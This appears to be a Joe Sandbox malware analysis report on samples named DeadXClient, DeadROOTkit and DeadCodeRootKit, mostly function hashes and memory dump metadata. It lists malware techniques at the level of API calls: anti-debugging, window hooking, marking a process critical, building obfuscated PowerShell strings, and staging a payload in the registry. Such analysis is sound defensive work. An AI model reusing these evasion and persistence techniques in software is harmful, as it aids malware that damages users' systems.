Opcode Fuzzy Hash: 3ba6551791bb161f71d080de7e3d62f1fd84c359be50005cbb795898e44ec404
Instruction Fuzzy Hash: 03619630A18A4D8FDB58DB68D859BEDBBF1FF59310F1042AED05DD3296CA34A845CB81

Function 00007FFD9B7F86CD Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c02edca80a3b1d95caaabfff08d20534238ee7c1ea5718c5f6bb53a1d5f10508
Instruction ID: 37ca9227dcf7268e7fa2edfae7037da88a2876edcac52afb4c2e93a06898a70a
Opcode Fuzzy Hash: c02edca80a3b1d95caaabfff08d20534238ee7c1ea5718c5f6bb53a1d5f10508
Instruction Fuzzy Hash: 0A518530A18A0C8FDB58DF58D855BEDBBF1FF99310F1042AAD44DD3296CA34A942CB81

Function 00007FFD9B7F445C Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af3c16e8c1f1d87772cb2b5474ed7333aa884e461c66d4e207575be28a0c0cb0
Instruction ID: 5596015ab492dc9bea2c9e3d6de552dacb4a5e48bc907d3cab974cdb5ec692f8
Opcode Fuzzy Hash: af3c16e8c1f1d87772cb2b5474ed7333aa884e461c66d4e207575be28a0c0cb0
Instruction Fuzzy Hash: 6B516470A08A1C8FDB58DF58D855BE9BBF1FB59310F0082AAD04DD3256DE34A9858F81

Function 00007FFD9B7F96AA Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1bd4846be93402820612f164af3cb601ccf57b27a605cb4bc19071567e4185a
Instruction ID: 9277d343410bb713b78404d0429f2041996125a2cfba94d0584b5b581bb66a57
Opcode Fuzzy Hash: c1bd4846be93402820612f164af3cb601ccf57b27a605cb4bc19071567e4185a
Instruction Fuzzy Hash: 01510530A0D74D8FDB58EF68C869AB87BE0FF55320F45426ED04DC71A2DB29A446CB90

Function 00007FFD9B7F2928 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f64c354f9caf8e7771082eeac5a451a279a533dd2c7091ca277b5d937f4224f
Instruction ID: a2cb507f97bf9a668bf4557da9255b795a07e2fe1503c285d87edf4cdb43509f
Opcode Fuzzy Hash: 7f64c354f9caf8e7771082eeac5a451a279a533dd2c7091ca277b5d937f4224f
Instruction Fuzzy Hash: 35513730F0D78A4FD756D7B448216A57FA0EF56310B5903E9E0A9C31F7CD686802C791

Function 00007FFD9B7F93ED Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed437a3c8b9dff3c17bb45fdb50b0ad0057cc12dc22e17e08a94abe00f79697a
Instruction ID: 373c318b2f47ddeee0d21d6eb4d5ac92e08fffe002ad401f71f091aba35563ea
Opcode Fuzzy Hash: ed437a3c8b9dff3c17bb45fdb50b0ad0057cc12dc22e17e08a94abe00f79697a
Instruction Fuzzy Hash: 46412821B0E6C94FDB56ABB858785B9BFD4DF97225B1800FBE09DC61E3DC185842C386

Function 00007FFD9B7F2685 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6662bc2d1a2ed7c14ae047c61d1c75540c1f95b13e94024d432ddf3ef595490
Instruction ID: a82508f05f8e15b370cd461efc191e4f634ca22459cfd491fc688278040e2e34
Opcode Fuzzy Hash: b6662bc2d1a2ed7c14ae047c61d1c75540c1f95b13e94024d432ddf3ef595490
Instruction Fuzzy Hash: 3D417074A0DA0D8FDB98EFA8D469AB97BE0FF55311F10016EE00AC36A1CB75E841CB45

Function 00007FFD9B7F9110 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e480510859483623efb188541eb8759f65a355be92a37fd083574e87334f68d
Instruction ID: 56f94246d853ae305cd1312ac4246e1c19f6468ab66a0078d361abdabd7ce0e9
Opcode Fuzzy Hash: 9e480510859483623efb188541eb8759f65a355be92a37fd083574e87334f68d
Instruction Fuzzy Hash: 5B418031B1890C4FDB98EBA8D469AB977E2FF98310F454179E00ED72A6CE24AC418780

Function 00007FFD9B7F0BFE Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e052c81b95288aeaee0bb333dc1d1754dfd53e4762370cddc7b2805b65ab3140
Instruction ID: 7edf8d6616eea141de39afd172cc169025a750e0e6aa0d2d563669e9a269b6e2
Opcode Fuzzy Hash: e052c81b95288aeaee0bb333dc1d1754dfd53e4762370cddc7b2805b65ab3140
Instruction Fuzzy Hash: 9E415D20B1DA4E0FE795AB7C54655B93BD2DFC6214B4901FBE44DC72EBDC185C028346

Function 00007FFD9B7F0760 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72a56239f88803199eb0669bb56933162dbb702757c4fabcc915667006362d20
Instruction ID: a9d76b098fb868ba056d7518a25827ad552143939f46e7356972396d4d519a4a
Opcode Fuzzy Hash: 72a56239f88803199eb0669bb56933162dbb702757c4fabcc915667006362d20
Instruction Fuzzy Hash: F4417D74A09A1D8FEBA8EF98D469BB977E4FB54311F10016EE00AC36A1CB75E841CB45

Function 00007FFD9B7F8A31 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c4430380b8d97101c895e975d49c0394b9dbebb3aa61d62f9564b5bcdccd545
Instruction ID: 3d6030fdc92a31ed5575856a4c947cb2b78f3498bd5994aec0a1d7aff3a084d6
Opcode Fuzzy Hash: 1c4430380b8d97101c895e975d49c0394b9dbebb3aa61d62f9564b5bcdccd545
Instruction Fuzzy Hash: A141D571B09A4D8FDF94EBB884696BD7BF1EF58300B05027AD40DD72A2DF28A8418745

Function 00007FFD9B7F06F0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f91fc7e9c5e7d593f77d725e6bcc1778d4d4d4259e9f4166ded8fce9ab3cda7
Instruction ID: 8657bdab8ce96cb95bed1b690ff05607844511350da1730386f2d034b212b0a5
Opcode Fuzzy Hash: 8f91fc7e9c5e7d593f77d725e6bcc1778d4d4d4259e9f4166ded8fce9ab3cda7
Instruction Fuzzy Hash: 4841C630F0CA0E4FDBA8EBA884656B977D1EF54310F55027DE42ED32E6CE28A9418785

Function 00007FFD9B7F04C8 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a23bbd6c09e318e158fc90ece7fa77fd78bcee0ea1728e3f61c6095a77f431
Instruction ID: 4700ca011bff9c9e692f52af7141cdea5562932ed437d399724f55c26dde5c00
Opcode Fuzzy Hash: 57a23bbd6c09e318e158fc90ece7fa77fd78bcee0ea1728e3f61c6095a77f431
Instruction Fuzzy Hash: 7931E421B1C94D0FE798EE2C846A678B6C2EF98355F0505BEE01EC32E7DD24AC428385

Function 00007FFD9B7F0AB0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c0ccbaedfc36f7db1ca24df7ad1b99610aae811cfabad8da8e233d0afced1f9
Instruction ID: 0b5ca19090fc6683274ccde96b448ec26d275bca571b7b460f0ab8b41a5ca439
Opcode Fuzzy Hash: 1c0ccbaedfc36f7db1ca24df7ad1b99610aae811cfabad8da8e233d0afced1f9
Instruction Fuzzy Hash: 0A31C111F2890E4BEB98BFAC58697BD76D2EFD8705F41027AE41DC32D6DD18A8014382

Function 00007FFD9B7F0949 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb51bce2932ea651b2861cb7fc0f7e194480570cd75b768a2460b5d9dd29634
Instruction ID: 7a29d0411028b199225aeefca22f25bc56878eccf02150722627c0c78a56d60c
Opcode Fuzzy Hash: 2fb51bce2932ea651b2861cb7fc0f7e194480570cd75b768a2460b5d9dd29634
Instruction Fuzzy Hash: C831B534B18A4E8FEB44EBA88465AFDBBB1FF98300F5105B9D019D33DACE3869018745

Function 00007FFD9B7F9A75 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d950455e13000dfca3e8fe13dc1ce3e9b2a7b2c497f536a042fe07589fd119
Instruction ID: 07a96ef277a0108a0d394a209e4ac583073d9d4036d3853283d35da58680ae3b
Opcode Fuzzy Hash: 26d950455e13000dfca3e8fe13dc1ce3e9b2a7b2c497f536a042fe07589fd119
Instruction Fuzzy Hash: 7331703190DB888FDB55DBA8D849AE9BBF0FF56320F0482AFD089C7562D774A805CB51

Function 00007FFD9B7F88F9 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78cfc18e036ed494def4c246c508f6add05f13f1d4a626fc76da1d14952f1cf1
Instruction ID: 1eed76dbd9b1597b472fc51d896c4e2793bd2a86ad1bed635381c592532f3f21
Opcode Fuzzy Hash: 78cfc18e036ed494def4c246c508f6add05f13f1d4a626fc76da1d14952f1cf1
Instruction Fuzzy Hash: 3231DD30B5DA9D9FDB56EB3CC8959663BF1EF16300B4505A6D048C72E6CB38B841C78A

Function 00007FFD9B7F9271 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 947cf1af95b04d0970d9e27c4a25648f6d949ec8c325183eeb83fe19262879e5
Instruction ID: 7cf4ae5ac8cfaf3f61259d99a07e85a2fd9d66aae4f109007e9f72dada892db7
Opcode Fuzzy Hash: 947cf1af95b04d0970d9e27c4a25648f6d949ec8c325183eeb83fe19262879e5
Instruction Fuzzy Hash: 46212B31F0DA0D4FDB68EB5884A9ABCB7E1EF94350F01017ED00ED32E5CE24A9418782

Function 00007FFD9B7F9999 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1576540d7344a67964a66959a9e4777cc9c9d922295c16efe15697d097922ea9
Instruction ID: d0294675c766df894dc362eff7eb5cf6cdf37cf74240ce04d2e80bc5acc3a3e3
Opcode Fuzzy Hash: 1576540d7344a67964a66959a9e4777cc9c9d922295c16efe15697d097922ea9
Instruction Fuzzy Hash: 1A213B30B4D68E0FD7559B6488659F63BD5EFCA204F0642B6E08DC71B2CD1C9941C791

Function 00007FFD9B7F0770 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3791783e53ef3360d9ba41bf5bc3a3a5cb93c674091c2b6360cbaf33649c5a9
Instruction ID: 91fe490efc3637e6474d6ed640ee0a742622b156053282ba6b80257dfceda90e
Opcode Fuzzy Hash: a3791783e53ef3360d9ba41bf5bc3a3a5cb93c674091c2b6360cbaf33649c5a9
Instruction Fuzzy Hash: 5E11E614B1C95D5AE754B7AC946ABBD76D6EF88700F5242B8F01CC32DACD28B90083C6

Function 00007FFD9B7F8470 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549ff034f313082d2aad155886209900aa91dc8a496b4bd2da917aa232895455
Instruction ID: 1f6b73d90cd2c664d717d523b9eece3593be5262a8034735652d6f6c34639af9
Opcode Fuzzy Hash: 549ff034f313082d2aad155886209900aa91dc8a496b4bd2da917aa232895455
Instruction Fuzzy Hash: 0201E131F1CA9D4FEB52EBA848265BDBBA1FF45310B0402B6E418C31E6DF18694583CA

Function 00007FFD9B7F2311 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 795cdd15f11294058ba31c8440156a3a86e19c7a9051f0f0d9d14b6cd1eddabb
Instruction ID: 180855ee596fc957c75b3b6871d3f9f2b5610834ea7b00e9327f5ea4771c1a11
Opcode Fuzzy Hash: 795cdd15f11294058ba31c8440156a3a86e19c7a9051f0f0d9d14b6cd1eddabb
Instruction Fuzzy Hash: B2F05E6199F3C91FD71347B05C355E57FB4AF43104B4E42DBE488CB0B3D618661983A2

Function 00007FFD9B7F1951 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 283acb9760ca52674df5476b8a8d00add65ef84b5882dc68e318512f4d6a6a60
Instruction ID: ad5893f251874b814673ad6838c2dd2d515892af74f395ba62fc6c697890e255
Opcode Fuzzy Hash: 283acb9760ca52674df5476b8a8d00add65ef84b5882dc68e318512f4d6a6a60
Instruction Fuzzy Hash: D3017614B0DBC90FE356EB386868571BFE0DF96610B0906FFE488C61B7D9086B8183C2

Function 00007FFD9B7F1DE0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee7347f818fa238386abc1287148dcd21f398cb2f55b76a0b0ab9ef8c1065f1
Instruction ID: 50604d165d7b597585b896575c366a77562995d7cfd805aa4fac7201697d8fbc
Opcode Fuzzy Hash: 3ee7347f818fa238386abc1287148dcd21f398cb2f55b76a0b0ab9ef8c1065f1
Instruction Fuzzy Hash: 9AF0AF71F0491D4BDB40EFA888995FE7BF0EF58305F400267E42DD2299DE346A4087C1

Function 00007FFD9B7F260D Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c548eb2848afb53d6743a76341b02b3146200bac7105cb5dc886cdbc39e6e2cb
Instruction ID: 5dc8460685e3715db86905f47853411ca2e99cb055fa3ff69973a159230d27da
Opcode Fuzzy Hash: c548eb2848afb53d6743a76341b02b3146200bac7105cb5dc886cdbc39e6e2cb
Instruction Fuzzy Hash: 63F0D110F1D64E0BFB656AF848756B83A91EF84308F8101B9E01AC62FBDE1C6C4282C6

Function 00007FFD9B7F2474 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eed93b378f0630939ab572fbc535fc4d158a0c02c0e36aa1e35c47f37092ce94
Instruction ID: 2e07b37477c26b1e813f5bf1f1db225c7d8671ad8d9f63bfd0acba24a1e109fa
Opcode Fuzzy Hash: eed93b378f0630939ab572fbc535fc4d158a0c02c0e36aa1e35c47f37092ce94
Instruction Fuzzy Hash: 98E08C10D1E2C70ED70766F408628A07F205F07160B8A02B2E4588A1E3D89C245983A6

Function 00007FFD9B7F0775 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389bf48f066dfd914a10b99745cc3ea860b15e706e8e1da946d07c16f2d6d5be
Instruction ID: 876c29e8ddc8b2a45892b0ca9b002ffbea6ff29af2d83dd9096c99573024b7cd
Opcode Fuzzy Hash: 389bf48f066dfd914a10b99745cc3ea860b15e706e8e1da946d07c16f2d6d5be
Instruction Fuzzy Hash: D0B09200F7F54A40D8243AB9086A0B8BFA09B8A120FC606F0D489C01B2D84DAAD646D6

Analysis Process: DeadROOTkit.exePID: 5804, Parent PID: 2076COMMON

Execution Graph

Execution Coverage:	21%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30%
Total number of Nodes:	10
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B8078C1 Relevance: 1.7, APIs: 1, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 00007FFD9B807970

Memory Dump Source

Source File: 00000002.00000002.3030720722.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b800000_DeadROOTkit.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 53843e7e15153dc68be4de351468f78979ec84dc8f59660a8d135f462c6c6647
Instruction ID: c148af3ce2a1150ae2db7a5a07d3337ea0d48db25c01f34dae88a7f43f225c31
Opcode Fuzzy Hash: 53843e7e15153dc68be4de351468f78979ec84dc8f59660a8d135f462c6c6647
Instruction Fuzzy Hash: 8B51313190D68C8FCB56DB6888556E97FE0EF5A310F0902ABD489C7192CA38A905C792

Function 00007FFD9B8096E4 Relevance: 1.8, APIs: 1, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFD9B8098A1

Memory Dump Source

Source File: 00000002.00000002.3030720722.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b800000_DeadROOTkit.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: a5f9f430aa8b6a5c41affc2079810cc53d61d77f0fcdaf284401445d12e291db
Instruction ID: 916d4cda4680759349340c70cd62e1275164b53cc13a884901e91d61ef56a426
Opcode Fuzzy Hash: a5f9f430aa8b6a5c41affc2079810cc53d61d77f0fcdaf284401445d12e291db
Instruction Fuzzy Hash: 4D710631A0CA4C8FDB59DF6CD8596F9BBE0EF59321F04426ED059D3292CB75A806CB81

Function 00007FFD9B8095C1 Relevance: 1.7, APIs: 1, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFD9B809692

Memory Dump Source

Source File: 00000002.00000002.3030720722.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b800000_DeadROOTkit.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: fb0e7281cc858a9724516f6d93021fe38bf4d2a5939dc3724fd793b889e3f785
Instruction ID: 5498154486360c7f5c7e350a9e764024af9bf61f4f938370c5e675519dff6605
Opcode Fuzzy Hash: fb0e7281cc858a9724516f6d93021fe38bf4d2a5939dc3724fd793b889e3f785
Instruction Fuzzy Hash: 6B41243190C6588FDB28DB98D859AFABBF0EF55311F04416EE0DAD3592CA35A542CB81

Analysis Process: DeadCodeRootKit.exePID: 3444, Parent PID: 2076COMMON

Execution Graph

Execution Coverage:	72.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	34.7%
Total number of Nodes:	101
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00B019E2 Relevance: 43.9, APIs: 22, Strings: 3, Instructions: 166
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00008000,75B12EB0,00000000,00B02230), ref: 00B019F5
HeapAlloc.KERNEL32(00000000), ref: 00B01A02
GetProcessHeap.KERNEL32(00000000,00004000), ref: 00B01A16
HeapAlloc.KERNEL32(00000000), ref: 00B01A1D

Part of subcall function 00B01000: CryptAcquireContextW.ADVAPI32(00B01A30,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000000,00000000,00000000,00000000,00000000,?,00B01A30), ref: 00B01020
Part of subcall function 00B01000: CryptGenRandom.ADVAPI32(00B01A30,00004000,00000000,?,00B01A30), ref: 00B0102F
Part of subcall function 00B01000: CryptReleaseContext.ADVAPI32(00B01A30,00000000,?,00B01A30), ref: 00B01042

StrStrIW.KERNELBASE(?,00B037F0), ref: 00B01A47
StrStrIW.SHLWAPI(00000002,00B037F0), ref: 00B01A6E
StrNCatW.SHLWAPI(00000000,?,?), ref: 00B01A85
StrCatW.SHLWAPI(00000000,00B037F4), ref: 00B01A91
StrCatW.SHLWAPI(?,'+[Char](), ref: 00B01AE9
StrCatW.SHLWAPI(?,?), ref: 00B01AF3
StrCatW.SHLWAPI(?,'+'), ref: 00B01B1D
StrCatW.SHLWAPI(00000000,?), ref: 00B01B2D
StrCatW.SHLWAPI(00000000,00B037F4), ref: 00B01B48
StrStrIW.SHLWAPI(?,00B037F0), ref: 00B01B62
StrCatW.SHLWAPI(00000000,?), ref: 00B01B76
StrCpyW.SHLWAPI(?,00000000), ref: 00B01B7D
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B01B8B
HeapFree.KERNEL32(00000000), ref: 00B01B94
GetProcessHeap.KERNEL32(00000000,?), ref: 00B01B9A
RtlFreeHeap.NTDLL(00000000), ref: 00B01B9D

Strings

)+', xrefs: 00B01AF5
'+', xrefs: 00B01AFC, 00B01B04, 00B01B18
'+[Char](, xrefs: 00B01AE0

Memory Dump Source

Source File: 00000003.00000002.1704154695.0000000000B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000003.00000002.1704125051.0000000000B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1704207253.0000000000B02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_DeadCodeRootKit.jbxd

Similarity

API ID: Heap$Process$Crypt$AllocContextFree$AcquireRandomRelease
String ID: '+'$'+[Char]($)+'
API String ID: 3510167801-3465596256
Opcode ID: 098ce96fb108d946fa9029e78a7c4cd2ecdc82d27bf8132f4d8fcfea21776453
Instruction ID: 36952fbbb9bae42e1dcaeb6990e761f157e29b1c25b6b1a52d24b56aa3d6f551
Opcode Fuzzy Hash: 098ce96fb108d946fa9029e78a7c4cd2ecdc82d27bf8132f4d8fcfea21776453
Instruction Fuzzy Hash: 6051DEB1E00219ABCB14DBA8DD4D9AEBBFDFB48700B14445AE505E7290EA759A05CB60

Function 00B017A6 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 73
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000065,EXE), ref: 00B017B6
SizeofResource.KERNEL32(00000000,00000000,?,?,?,?,?,00B0179E), ref: 00B017C9
LoadResource.KERNEL32(00000000,00000000,?,?,?,?,?,00B0179E), ref: 00B017DB
LockResource.KERNEL32(00000000,?,?,?,?,?,00B0179E), ref: 00B017E6
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE,00000000,000F013F,?,?,?,?,?,?,00B0179E), ref: 00B01802
RegSetValueExW.KERNELBASE(?,Deadstager,00000000,00000003,00000000,00000000,?,?,?,?,?,00B0179E), ref: 00B01819

